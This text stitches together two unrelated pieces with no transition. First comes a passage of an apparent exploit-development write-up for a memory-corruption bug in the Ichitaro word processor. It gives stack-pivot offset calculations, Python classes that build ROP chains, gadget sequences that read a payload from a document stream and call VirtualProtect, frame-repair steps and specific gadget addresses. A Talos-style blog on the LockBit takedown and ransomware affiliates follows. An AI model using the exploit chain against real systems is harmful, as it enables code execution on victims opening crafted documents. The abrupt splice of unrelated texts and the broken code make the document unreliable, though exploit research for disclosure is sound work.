[13] -12c+0x4 JSFC::CPtrArray** 'ap_ptrArray_14' (<class 'type'>, 4)
[14] -128+0x4 int 'avw_usedFromHeader_18' (<class 'int'>, 4)
# List the members needed to calculate the number of bytes we need to pivot the
# stack pointer into a buffer that contains more data read from the file.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0].list(' *')
[2] -ac:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -a8:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
Python> struc.right(commonframe, [frame.members for frame in huge])[0].list(index=range(8), predicate=lambda m: m.size >= 0x100)
[4] -114c:+0x1000 char[4096] 'lv_buffer(1000)_1004' [(<class 'int'>, 1), 4096]
# Take the difference between the buffer with our stream data, and the stack
# pointer at the point where we can execute an address of our choosing.
Python> stack_offset_at_time_of_call = -0xA8 - 6 * 4 - 4
Python> -0x114c - stack_offset_at_time_of_call
-0x1088
By laying out each of the frames contiguously, we can see that the distance from the stack pointer at the point of hijack to the frame belonging to 0x3BE276BE is +0xA8 bytes. However, we will need to adjust it by six parameters and include the saved return address as was described previously. This results in a total of 0xC4 bytes for the first distance. Next, we take the distance from the frame containing our huge buffer to the frame owned by 0x3BE276BE. This results in a total distance of +0x114C bytes. The difference of both of these distances results in +0x1088 bytes. This is the value that we will adjust our stack pointer with so that we can pivot execution directly into the huge buffer that contains our desired stack layout.
Hijacking execution and using pivot
Due to our prior work on promoting the vulnerability, we’ve developed it into the capability of writing an arbitrary amount of data anywhere within the address space. We also did the work to determine how to control a frame pointer which enables us to take control of the %ecx register in the method that owns said frame. This register contains the this pointer which refers to an object and is used when the implementation needs to access a property from the object or a necessary virtual method. After controlling the frame pointer, we can now forge this object and substitute an address of our choosing to be dereferenced as the virtual method table.
In the listing, we’ll need to specify the address to execute at offset +0x10 of our forged virtual method table. This will result in the listed instructions dereferencing the virtual method of our controlled object and allow us to hijack execution. In the previous section, we calculated the distance between the stack pointer and a place that we can use to load a page-worth of data from the stream into a buffer on the stack. The only major thing that is left to do is to locate a stack pivot that we can use with the size from the previous section to adjust the stack pointer into our page-worth of stream data. Once we’ve pivoted, we can continuously execute the necessary instructions to load our payload into the address-space.
By enumerating the non-relocatable modules within the address-space of the application, we can identify many instances of the following instruction sequences. Each of these sequences allows us to adjust the stack pointer using the value loaded at -0x18 relative to the %ecx register. As we completely control the %ecx register due to our frame overwrite, we can store the distance that we had previously calculated at -0x18 from our %ecx register to pivot to our forged call stack. Our completed process can then be summarized by creating a fake virtual method table, assigning the address of one of the listed sequences to offset +0x10 of it, and then storing our distance at -0x18 of it. When the virtual method is then called, we will have begun the very first stage of actually hijacking the application’s instruction pointer.
When putting together the chunks that are necessary for loading arbitrary code, each sequence contains a side effect that contributes to the necessity of said chunk, and an attribute that determines the method by which one can continue execution from it. For the second attribute, an instruction sequence can continue its execution in only a few ways.
The first method is generally recognized as return-oriented programming and requires control of memory that resides within a stack frame. The second method involves the combination of branch instruction and an immediate register which requires arithmetic and control of the register to continue execution. The third method involves a dereference and a branch instruction. This method requires control of an address that is relative to a register, or a branch that references a global within the address-space of the target and control of said memory location. There is a fourth method that involves runtime or operating-system-provided facilities, however, this method has not been explored within the provided exploit.
The two types of branches that are necessary to leverage each of these methods are a preserved branch which preserves some aspect of the current execution scope, or a direct branch which either discards or does not have any effect on the current scope. Generally, the primary characteristic that distinguishes whether a desired sequence can be continued from the chunk that was previously executed relies on how it may affect the stack pointer upon its entry and its exit. This is a result of the stack pointer, in essence, having similar characteristics as the instruction pointer with regard to instructions that affect it.
Based on these assumptions, the table containing the offsets of the sequences containing the necessary side effects leveraged during the exploitation process keeps track of two pieces of data. The first is the stack delta for the entirety of each chunk (excluding the stack delta if the sequence directly influences the stack pointer). The second piece of data involves any adjustments that may be applied to the stack pointer after the code chunk has continued execution to its following sequence.
From these two pieces of data, the following Python code can be used to isolate the process of chaining sequences together from the process of putting together the necessary side-effects for leveraging code execution. By implementing this abstraction, this has the effect of simplifying the stack layout process enabling an implementer to put together code sequences in a way that is better oriented toward reusability.
class StackReceiver(object):
def __init__(self, receiver):
self._receiver = receiver
self._state = coro = self.__sender(receiver)
next(coro)
def sender(self, receive_word):
release = None
while True:
while not release:
offset = (yield)
receive_word(offset)
adjust = (yield)
if adjust and isinstance(adjust, (tuple, list)):
[receive_word(integer) for integer in adjust]
elif adjust:
receive_word(dyn.block(adjust)))
release = (yield)
offset = (yield)
receive_word(offset)
if isinstance(release, (tuple, list)):
[receive_word(integer) for integer in release]
else:
receive_word(dyn.block(release))
adjust = (yield)
if adjust and isinstance(adjust, (tuple, list)):
[receive_word(integer) for integer in adjust]
elif adjust:
receive_word(dyn.block(adjust)))
release = (yield)
return
def send(self, snippet, *integers):
'''Simulate a return.'''
state = self._state
offset, adjust, release = snippet
state.send(offset)
state.send(integers if integers else adjust)
state.send(release)
def call(self, offset, *parameters):
'''Simulate a call.'''
state = self._state
offset, adjust, release = offset if isinstance(offset, (tuple, list)) else (offset, 0, 0)
state.send(offset)
state.send(None)
state.send(parameters)
def skip(self, count):
'''Clean up any extra parameters assumed by the current calling convention.'''
state = self._state
if count:
state.send(0)
state.send([0] * (count - 1)) if count > 1 else state.send(None)
state.send(None)
return
### Example usage
layout = []
stack = StackReceiver(layout.append)
# assign %eax with the delta from our original frame to &lp_oframe_230 or &ap_oframe_0.
# this way we can dereference it to get access to the contents of the object_OFRM.
delta_oframe = scope_pivot['F3C1FAF0F']['ap_oframe_0'].getoffset() - scope_pivot['F3BBB2DE4'][' s'].getoffset()
delta_oframe = scope_pivot['F3C1FAF0F']['lp_oframe_230'].getoffset() - scope_pivot['F3BBB2DE4'][' s'].getoffset()
stack.send(JSAPRUN.assign_pop_eax, delta_oframe)
stack.send(JSAPRUN.arithmetic_add_ebp_eax)
# now we can dereference %eax to point at the object_OFRM representing our document.
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
stack.send(JSAPRUN.assign_esi_eax, 0)
# adjust %eax by +4 so that we can load the value from object_OFRM.v_index_4 into %esi.
# the integer at this index is a handle and is all we need to create a fake object_OFRM.
stack.send(JSAPRUN.arithmetic_add_imm4_eax)
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
...
# stash %ecx containing our context into %ebx for the purpose of preserving our context.
# this way we can restore it later from %ebx to regain access to our current state.
stack.send(JSAPRUN.assign_ecx_eax)
stack.send(JSAPRUN.exchange_eax_ebx)
# void *__thiscall JSAPRUN.dll!method_mallocPageAndSurplus_7ebee(_DWORD *this, size_t av_size_0)
# this function allocates a page (0x1000) and writes it to 0x24(%ecx). if av_0 > 0x1000, then it
# also returns a pointer to that number of bytes and does nothing else.
stack.call(JSAPRUN.procedure_method_mallocPageAndSurplus_7ebee, 0x1001, 0x11111111)
stack.send(JSAPRUN.arithmetic_add_imm4_esp)
...
# open up a stream by its name, layout.frame.stream_name. %ecx contains our fake object_OFRM.
new_context = layout['context']['object(OSEG)']
assert(not(divmod(new_context.int() - layout['context'].getoffset(), 4)[1])), "Result {:s} is unaligned from {:s} and will not be accessible".format(layout['context']['object(OSEG)'].instance(), layout['context'].instance())
stack.send(JSAPRUN.assign_pop_eax, layout['object_OFRM.vftable'].getoffset())
# int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
stack.send(JSAPRUN.callsib1_N_eax_c__ecx, layout['frame']['stream_name'].getoffset(), 0x22222222, 3, 0x33333333, new_context.getoffset())
# copy the %ebx containing our context back into %ecx.
stack.send(JSAPRUN.assign_pop_ecx, 0)
stack.send(JSAPRUN.exchange_eax_ebx)
stack.send(JSAPRUN.arithmetic_add_eax_ecx)
stack.send(JSAPRUN.exchange_eax_ebx)
A few more abstractions around this concept were developed to allow further flexibility such as marking a specific slot on the stack relative to another code chunk, and then using the side effect of a prior sequence to load from or store a value to that slot. By combining the second or third execution-retaining methods with a preserving-branch instruction, primitive looping constructs are possible without the need for conditional branches through the simulation of a jump table. This is useful for the situation where the amount of data being processed by each sequence is of a non-static length and dependent on a value only available during runtime.
class ReceiverMarker(StackReceiver):
'''Experimental class for referencing a specific slot within the stack and marking the snippet where the slot is referenced.'''
def __init__(self):
self._collected = collected = []
super(ReceiverMarker, self).__init__(collected.append)
self._marked = []
def use(self, snippet, *integers):
'''Mark the specified snippet where a slot should be calculated from.'''
self.send(snippet, *integers)
self._marked = self._collected[:]
class Stacker(StackReceiver):
'''Experimental class for referencing a specific slot within the stack to be either read from or written to.'''
def __init__(self, stack):
super(Stacker, self).__init__(stack.append)
self._stack = stack
@contextlib.contextmanager
def reference(self, snippet, *integers, **index):
'''Reference a slot within the stack and use it as a parameter to the specified snippet.'''
marker = ReceiverMarker()
try:
abort = None
yield marker
except Exception as exception:
abort = exception
finally:
if abort: raise abort
# build the stack containing the entire contents that were collected.
tempstack = parray.type(_object_=ptype.pointer_t).a
[ tempstack.append(item) for item in marker._collected ]
# build the stack that was marked by the caller.
markstack = parray.type(_object_=ptype.pointer_t).a
[ markstack.append(item) for item in marker._marked ]
# build the stack that is being used to adjust towards a specific index.
adjuststack = parray.type(_object_=ptype.pointer_t)
adjuststack = adjuststack.alloc(length=index.get('index', 0))
# push the caller's requested instruction onto the stack using the size that was marked.
state = self._state
offset, adjust, release = snippet
state.send(offset)
items = [item for item in integers]
state.send(items + [tempstack.size() - markstack.size() + adjuststack.size()])
state.send(release)
# now we can push all of the elements that the caller wanted onto the stack.
Freceive = self._receiver
[ Freceive(item) for item in tempstack ]
The following listing is an example of the usage of the prior-mentioned abstractions.
# load the page from layout.vprotect.dynamic_buffer into %edi which was written to 0x24(%ecx) earlier.
stack.send(JSAPRUN.assign_pop_eax, divmod(layout['vprotect']['dynamic_buffer'].getoffset() - layout['context'].getoffset(), 4)[0])
stack.send(JSAPRUN.load_slotX_eax_eax)
stack.send(JSAPRUN.exchange_eax_edi)
stack.send(JSAPRUN.return_0)
# now we write %edi directly into slot 1 of whatever follows us.
with stack.reference(JSAPRUN.assign_pop_eax, index=1) as store:
store.use(JSAPRUN.store_edi_sib1_eax_esp_0) # mark the index from this stack position
store.send(JSAPRUN.assign_pop_eax, layout['object_OSEG.vftable'].getoffset() - layout['context'].getoffset())
store.send(JSAPRUN.arithmetic_add_eax_ecx)
# adjust %ecx to move from layout.context to layout.object_OSEG.vftable so
# that we can eventually call 8(%ecx) later to read from the opened stream.
delta_object_oseg = layout['context']['object(OSEG)'].getoffset() - layout['object_OSEG.vftable'].getoffset()
assert(not(delta_object_oseg % 4)), "{:s} is not aligned from {:s} and will be inaccessible.".format(layout['context']['object(OSEG)'].instance(), layout['object_OSEG.vftable'].instance())
store.send(JSAPRUN.assign_pop_eax, divmod(delta_object_oseg, 4)[0])
store.send(JSAPRUN.load_slotX_eax_eax)
# "store.use" overwrites index 0+1, 0xBBBBBBBB, in the following sequence.
# int __stdcall object_OSEG::method_read_2c310(JSVDA::object_OSEG *ap_object_0, BYTE *ap_buffer_8, int av_size_c, int *ap_resultSize_c)
stack.send(JSVDA.callsib1_N_ecx_8__eax__ecx, 0xBBBBBBBB, 0x1000, layout['unused_result'].getoffset())
# calling object_OSEG::method_read_2c310 cleans up all args, but prior
# sequence misses 1.. which we take care of here.
stack.skip(1)
Repairing the frame
In a previous section, we’ve combined all of the capabilities that we’ve developed and can completely control the execution of the current thread with data that was read from the stream containing our vulnerability. We’ve also successfully developed a methodology that enables us to execute multiple sequences of instructions in succession. Normally this should be enough, however, at the time that we’ve taken control of the instruction pointer, all of the streams belonging to the document have completely gone out of scope.
Another thing of concern is that we’ve used our control of the frame pointer to swap the virtual method table of the only object that is responsible for referencing the contents of our document. This results in the document being completely inaccessible to us at this point in execution, and prevents us from returning to the application when we’re done. We can avoid this, however, if we can repair the frame and re-create the objects that were in scope at the time the application was supposed to complete its parsing of the document stream.
Hence, our next step requires us to discover a way of restoring the functionality to access the contents of our document. Fortunately, we can use the frame pointer that is stored within the %ebp register to access the frame of our caller. This allows us to use it as a reference point and to access any information that was previously in the stack. Hence, when we use our ability to execute sequences of prior loaded instructions, we will need to preserve this register as it is our only gateway into the application’s original stack.
During the execution of our sequences, we can also use the %ecx about register that we took control of when modifying the frame pointer. This can be leveraged as a reference point to access or store any information to the forged object that was created with our vulnerability. It is also worth considering that the calling convention for the application preserves registers when executing a different function. As a result, the %ebx, %esi, and %edi registers can also be used to preserve any values that we need when our sequences dispatch back into the process after they fulfill our needs.
Reviewing the call-stack at the time that the virtual method from our forged object is called shows that we are 4 frames away from the function whose frame we hijacked. Hence, we will need to know the sizes of these frames if we want to access any of their contents. The diagram that follows shows each of these frames along with their sizes. In this diagram, the frame pointer within the %ebp register was preserved in the frame for object_OFRM::openStreamByName?_132de4 at 0x3BBB2DE4, and references the frame pointer farther up the call stack and preserved in the function for object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be at 0x3BE276BE.
# Assign the path through the backtrace that ends up dereferencing from our virtual method table.
Python> backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python> pp(listmap(func.name, backtrace))
['object_OFRM::openStreamByName?_132de4',
'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
'object_9c2044::method_processStreams_77af0f']
# Grab the frame members for each function in the backtrace in order to study their layout.
Python> layout = struc.right(func.frame(backtrace[-1]), [func.frame(f) for f in backtrace[:-1]])
# Display each of the frames.
Python> pp(layout)
[<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>,
<class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>,
<class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>,
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>]
# List the location of each preserved frame pointer in our callstack.
Python> [(print(frame), frame.list(' *')) for frame in layout]
<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>
[2] -33c:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -338:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>
[25] -298:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[26] -294:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>
[0] -278:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[1] -274:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>
[ 9] -8:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10] -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
After we stash the state of the frame pointer during execution, we then use it to immediately repair the frame pointer that was hijacked farther up the stack in the object_9c2044::method_processStreams_77af0f at 0x3C1FAF0F. Since we know what the original value for the frame pointer was intended to be, we can add the distance between the calculations of what the original frame pointer was before we overwrote it with the vulnerability.
# Owner of the frame pointer that we have access to.
Python> func.name(func.by(layout[0]))
'object_OFRM::openStreamByName?_132de4'
Python> layout[0].members.list(' *')
[2] -33c:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -338:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
# Owner of the frame pointer that we've overwritten.
Python> func.name(func.by(layout[-1]))
'object_9c2044::method_processStreams_77af0f'
Python> layout[-1].members.list(' *')
[ 9] -8:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10] -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
# Calculate the delta between both of these locations.
Python> layout[-1].members.by(' s').offset - layout[0].members.by(' s').offset
0x334
This is done by taking the difference between the " s" field in frame 0x3BBB2DE4 which is our overwritten frame pointer value, and the " s" field in frame 0x3C1FAF0F which is the correct value before overwriting the frame pointer. The result of this calculation is 0x334 bytes, and we only need to add this value to our current frame pointer in the %ebp register to determine the correct value.
We'll also need to do a similar calculation to locate the saved frame pointer that was overwritten for us to write our correct value to it. This is demonstrated in the listing that follows. Instead of using the " s" field in frame 0x3C1FAF0F, we'll need to use the " s" field in frame 0x3BE26CB2. The distance to correct the overwritten frame pointer is then calculated as +0xC4. Utilizing both values allows us to completely repair the frame and return the application to the state before our modifications after we've accomplished our goal.
# Display the layout that we'll be examining.
Python> pp(layout[:-1])
[<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>,
<class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>,
<class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>]
Python> pp(listmap(func.name, map(func.by, layout[:-1])))
['object_OFRM::openStreamByName?_132de4',
'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2']
# Identify the two members that we will need to use to locate the frame pointer
# that we will need to overwrite in order to repair the call stack.
Python> pp((layout[0].members.by(' s'), layout[2].members.by(' s')))
(<member '$ F3BBB2DE4. s' index=2 offset=-0x33c size=+0x4 typeinfo='char[4]'>,
<member '$ F3BE26CB2. s' index=0 offset=-0x278 size=+0x4 typeinfo='char[4]'>)
# Calculate the difference between the current frame pointer, and the preserved
# frame pointer that we will overwrite.
Python> layout[0].members.by(' s').offset - layout[2].members.by(' s').offset
-0xc4
Loading the contents of a stream
After repairing the frame, we still need some way of loading a payload into the address space to mark it as executable and then execute it. Since we hijacked execution after the stream that contained the vulnerability was closed by the application, we'll need some other means to load our code. Fortunately, as we have access to the scope of the stream parsing, we can reuse anything available within the stack to perform this. This is only possible because the JSVDA.DLL module, which contains the necessary functionality to interact with a document object, is at a known address, and the document is stored within the application as a single handle. Thus, only the object's handle and its virtual method table are necessary to forge our own instance of the document object, and we’ll need to reference it to restore the ability to read from the document back to the application.
Revisiting the call stack containing the scope of the document parser to the point where we hijack execution, we need the distance between our saved frame pointer and the field inside the frame for the object_9c2044::method_processStreams_77af0f function at 0x3C1FAF0F which contains the document object. In the following listing, the ap_oframe_0 field contains the document object of type JSVDA::object_OFRM that was passed in from its caller, and then the lp_oframe_230 local variable in the frame maintains a copy of it for the method. Once we've calculated the distance between our current frame pointer and the location of one of these objects, we can simply load the object's handle from its list of properties, and then use it anywhere to access the contents of the loaded document.
Python> callstack = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python> pp(listmap(func.name, callstack))
['object_OFRM::openStreamByName?_132de4',
'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
'object_9c2044::method_processStreams_77af0f']
# Convert our callstack into a list of frames.
Python> layout = struc.right(func.frame(callstack[-1]), listmap(func.frame, callstack[:-1]))
# List all frame variables that have a type.
Python> layout[-1].list(typed=True)
[ 4] -254:+0x18 frame_77af0f::field_24c 'lv_struc_24c' <class 'structure' name='frame_77af0f::field_24c' offset=-0x254 size=0x18>
[ 6] -238:+0x4 JSVDA::object_OFRM* 'lp_oframe_230' (<class 'type'>, 4)
[ 7] -234:+0x228 object_2f27f8 'lv_object_22c' <class 'structure' name='object_2f27f8' offset=-0x234 size=0x228>
[11] 0:+0x4 JSVDA::object_OFRM* 'ap_oframe_0' (<class 'type'>, 4)
[12] 4:+0x4 unsigned int 'av_documentType_4' (<class 'int'>, 4)
[13] 8:+0x4 unsigned int 'av_flags_8' (<class 'int'>, 4)
[14] c:+0x4 struc_79aa9a* 'ap_stackobject_c' (<class 'type'>, 4)
[15] 10:+0x4 int 'ap_null_10' (<class 'int'>, 4)
# List all frame variables that reference the object used to read from an opened document.
Python> layout[-1].list(structure=struc.by('JSVDA::object_OFRM'))
[ 6] -238:+0x4 JSVDA::object_OFRM* 'lp_oframe_230' (<class 'type'>, 4)
[11] 0:+0x4 JSVDA::object_OFRM* 'ap_oframe_0' (<class 'type'>, 4)
In the exploit, we leverage our vulnerability to store an address to the forged object's virtual method table in memory. Thus, to complete the object, we only need to write the handle from the document object that we loaded from farther up our call stack to its correct place after the virtual method table. At this point, we can call any of its methods to use our copy of it. The following listing is the simple layout of this object.
Afterward, the rest of the process is straightforward. To allocate a page of memory, we use another method within the same module. We copy the original virtual method table back into our forged object and then reuse it to open up an arbitrary stream from the file and return another object for the stream. Using this stream object, we read the contents of the opened stream into the allocated page of memory.
To make this allocated page of memory executable, we reuse a wrapper around one of the imports within the same module to call "VirtualProtect". Finally, we call our stub for the loaded code to initialize the payload and branch to its real entry point. Once the payload completes its execution and returns to us, we set a successful return code so that the 0x3C1FAF0F function believes that the stream was parsed successfully. At this point, our payload is successfully executing in the background and the application has completely rendered the document.
Using a compiler
After the process for loading the desired code into the address space is complete, it is generally publically agreed upon to directly include “shellcode” to maintain execution within the context of the exploited process. Shellcode involves generated or hand-written assembly code that is used to demonstrate control of execution. Alternatively, one can simply leverage open-source compiler tools to implement their payload in a language with higher-level abstractions. This is not only limited to closed-source compilers, however, as one can implement a basic linker with a stub at the entry point of the linked code that is responsible for applying the necessary relocations to its data and then loading the final payload. This is not dissimilar to the reflective DLL injection technique from Stephen Fewer.
The following linker script can be used with the MinGW port of the GNU linker (ld) to emit a contiguous binary that may be loaded into the context of a process. This linker script isolates the entry point from the contiguous pages that need to be mapped as executable and the pages that need to be mapped as writable. After the data and executable code has been properly mapped, an implementer will then need to apply __load_size relocations that are stored between the __load_reloc_start and __load_reloc_stop symbols. If imports are included in the linked target, these end up being stored between the __load_import_start and __load_import_end symbols.
By implementing the logic required to map the chosen segments into memory and applying the necessary relocations, dependence on the platform’s runtime linker can be avoided entirely. After this, an implementer can then initialize the runtime for their desired language and develop more complicated payloads in a language that better facilitates their needs.
Alternatively, a linker for the PECOFF object and archive formats is also included with the exploit in case the implementer prefers to use a closed-source compiler for their payload. This linker will take a list of input files and emit a block of binary data that when executed by the exploit will load and execute the implemented payload.
Finishing up
After our loaded code has been successfully executed, we only need to set the %eax register to a correct value to tell the caller that either the stream could not be opened, or it has been opened successfully. After assigning the result, we need to use a regular frame pointer exit to leave the hijacked function and resume execution as if nothing happened. The following two addresses will do exactly that. Because the hijacked frame pointer had previously been repaired before executing our payload, the application will continue to attempt to parse and load the rest of the contents for the document as if nothing terrible has happened.
JSAPRUN.DLL 0x6100e5cf: pop eax; ret;
JSAPRUN.DLL 0x6100104f: leave; ret;
Conclusion
When it comes to exploiting memory corruption vulnerabilities on modern operating systems, the time of generic exploitation techniques is long gone. Exploitation techniques are application-specific and developing them requires a far deeper understanding of their inner workings, often ones that original developers are unaware of due to abstractions of high-level languages. While the presence of an interactive execution environment or a scripting language offers almost limitless exploitation flexibility, in environments like Ichitaro’s an exploit developer has to chain together many different side-effects to achieve a one-shot exploit.
In the case presented, a single vulnerability was abused to ultimately achieve arbitrary code execution. This is often not the case where exploits require chaining multiple vulnerabilities. This often makes it difficult to judge the severity of individual vulnerabilities but exploitation demonstrations like the one presented here develop an equivalence class that enables us to make informed decisions without demonstrating exploitation for every instance.
In ancient Greek mythos, the mighty Hercules faced a seemingly insurmountable challenge when he encountered the Lernaean Hydra. This fearsome serpent had a terrifying ability: For every head that Hercules severed, two more would spring forth, creating a never-ending cycle of regrowth and renewal.
Much like the Hydra, modern ransomware gangs present society with a daunting task. When law enforcement manages to take one adversary or low-level member off the streets, the victory is often short-lived. In the hidden depths of these criminal organizations, the heads — or leaders — remain shrouded in shadow, orchestrating their operations often with impunity.
And so, as one member falls, two more may rise to take their place, perpetuating an enduring saga of illicit activity that are the challenges of our time: the ransomware ecosystem. A landscape where affiliates tend to move from ransomware group to ransomware group, following the money, bringing their skills and tools with them to conduct new attacks.
In this blog, we’ll explore the recent law enforcement takedown of LockBit, a group who previously held the title of the number one most deployed ransomware variant for two years running. Just seven days after the takedown, LockBit claimed to resume their operations.
The History of LockBit
LockBit emerged around 2019. Since then, it has continually evolved and innovated to update their ransomware and build their RaaS program.
For the past two years, LockBit ransomware operations accounted for over 25 percent of the total number of posts made to data leak sites. CISA’s assessment is also that LockBit has been the most deployed ransomware variant in recent years.
As we wrote in the 2023 Talos Year in Review report, posts made to the group’s data leak site ebbed and flowed from September 2022 to August 2023. Detections of LockBit activity appear to spike in March, partially coinciding with LockBit’s deployment against vulnerable instances of the printer management software PaperCut, where it has remained consistently high.
💡
In 2020, Talos researchers made contact with a self-described LockBit operator. Over several weeks, we conducted multiple interviews that gave us a rare, first-hand account of a ransomware operator’s cybercriminal activities. Confirmed theories included LockBit having a profit-sharing requirement that the affiliate has to meet for the first four or five ransoms. This also used to be the case for Maze. Also, keeping your word to the victim is an important part of LockBit’s business model. Read the interview in full here.
The Collaboration Trend
For the past two years, Talos researchers have written about a growing ransomware trend, wherein actors are increasingly collaborating with each other and sharing tools and infrastructure (aka the affiliate model).
For example, Talos recently reported on how the GhostSec and Stormous ransomware groups are jointly conducting double extortion ransomware attacks on various business verticals in multiple countries. The two groups have started a new ransomware-as-a-service (RaaS) program STMX_GhostLocker, providing various options for their affiliates.
We are seeing more diversified groups employing multiple encryption programs, as well as less sophisticated actors “standing on the shoulders” of giants by using leaked ransomware code. Some players are exiting the game altogether, but not before selling their source code to the highest bidder. This is posing significant challenges to the security community, especially when it comes to attributing attacks.
In the case of LockBit, this was also a group that operated as a RaaS model. They recruited affiliates by offering them shares of profits and encouraging them to conduct ransomware attacks using LockBit’s tools and infrastructure. These affiliates were often unconnected, and as a result, there were many variations in the attacks that used LockBit ransomware.
Notably, the LockBit ransomware group posted on a Russian-speaking dark web forum in December 2023 offering to recruit ALPHV (BlackCat) and NoEscape ransomware affiliates and any of the ALPHV developers, after the Federal Bureau of Investigation (FBI)’s announcement of a disruption campaign against the ALPHV ransomware operation.
Operation Cronos
The NCA, working closely with the FBI and supported by international partners from nine other countries, covertly investigated LockBit as part of a dedicated taskforce called Operation Cronos.
On Feb. 20, 2024, after infiltrating the group’s network, the NCA took control of LockBit’s primary administration environment. This environment enabled affiliates to build and carry out ransomware attacks, as well as host the group’s public-facing leak site on the dark web, which was used to threaten the publication of data stolen from victims.
The technical infiltration and disruption were only the beginning of a series of actions against LockBit and their affiliates. In wider actions coordinated by Europol, at least three LockBit affiliates were arrested in Poland and Ukraine, and more than 200 cryptocurrency accounts linked to the group have been frozen.
The Return
Seven days after the operation, messages and leak information was published on a new LockBit page. Here are screenshots of their leak site taken daily from Feb. 27 – March 4, with a huge increase of cards on March 3.
The site lists both pre- and post-takedown victims, suggesting LockBit may not have lost access to their entire dataset or infrastructure.
Of particular interest is the fbi.gov card in the lower right corner that links to a lengthy writeup (in English and Russian), stating what LockBit thinks happened during the operation. They talk about lessons learned, speculations and discredit the law enforcement agencies. Talos believes the operation was carried out by the NCA, not the FBI, as LockBit stated.
A recurring theme
While LockBit is currently dominating the headlines, we’ve seen similar stories before following takedown attempts. For example, the commodity trojan Trickbot had its infrastructure dismantled in February 2022.
However, Talos telemetry picked up Trickbot activity throughout 2023, as covered in our Year in Review.
Still open for business
Talos has intelligence that Lockbit is still accepting affiliates into their program.
Does this mean that law enforcement operations are pointless? Far from it. Takedown attempts such as Operation Cronos severely disrupt their operations, and forces ransomware operators to change their attacks. The operation against LockBit doesn’t appear to have inflicted the final blow against the ransomware group, but it has wounded them.
We also know that law enforcement was able to obtain troves of intelligence through their operation. That intelligence will only serve to be useful in further disruptions, undermining Lockbit's growth. Therefore, if you put Lockbit into a market perspective, they appear to be quite exposed.
Crucially, as with the case of LockBit, decryption tools can be released so that victims of ransomware can gain access to their systems again. In January Talos obtained executable code capable of decrypting files affected by the Babuk Tortilla ransomware variant, allowing Talos to extract and share the private decryption key used by the threat actor.
Therefore, it’s important not to view this operation as a “one and done” effort. Sustained, targeted approaches from law enforcement and the defender community can and do have a significant impact. For example, following the FBI’s actions against BlackCat/ALPHV, the group reportedly denied an affiliate a $22 million ransomware payment before subsequently going out of business in early March, as Brian Krebs wrote about on his website a few days ago.
Azim Khodjibaev from Talos’ threat interdiction and intelligence organization team discusses the ebs and flows of ransomware groups after a takedown in the episode of Talos Takes below. This episode was recorded in 2022 after a separate law enforcement operation to disrupt LockBit.
The lucrative affiliate model
One of the major issues when tackling ransomware crime is the nature of the affiliate program, with actors often working for multiple RaaS outfits at a time. In underground forums, we are seeing increased advertisements by RaaS groups showcasing their affiliate programs and offering profit shares. They can offer large profits, as threat actors can conduct multiple campaigns using the encryption programs that are offered or distributed.
In the case of the GhostSec group, they have a business model that offers affilates three different options: a paid version, a free version and a version that allows actors who don’t want to become a member ransomware gang but would like to publish victim data on their leak site.
We are also seeing multiple groups working together, sharing their malicious tooling with each other, then falling out, and then building trust back up with each other, adding to the difficulty in attributing attacks. Here are Talos’ Nick Biasini and Matt Olney talking about the impact of leaked ransomware code, where Matt describes the situation as “The Real Housewives of Eastern Europe:”
Fundamentally, ransomware continues to be hugely profitable and widespread. In the last quarter, the Talos Incident Response team responded to ransomware incidents involving Play, Cactus, BlackSuit and NoEscape ransomware for the first time, and there was a 17% rise in ransomware incidents in this quarter.
In the end, Operation Cronos may have disrupted LockBit’s operations temporarily with valuable assets gained, a weaker market position for the group, and a few affiliates are now sitting in jail. However, the Hyrdra’s roots run deeper, and this is why we may continue to see LockBit activity throughout the course of the year.
Where to go from here
Like Hercules who outwitted the Hydra with a blend of strength and strategy, our law enforcement’s relentless efforts are essential and commendable. It’s going to take persistent, strategic efforts to significantly damage RaaS operations and weaken the regenerative power of these gangs. Arrests at the top will be a key part of this. In the case of LockBit, it appears as though the leaders of the group have evaded arrest on this occasion.
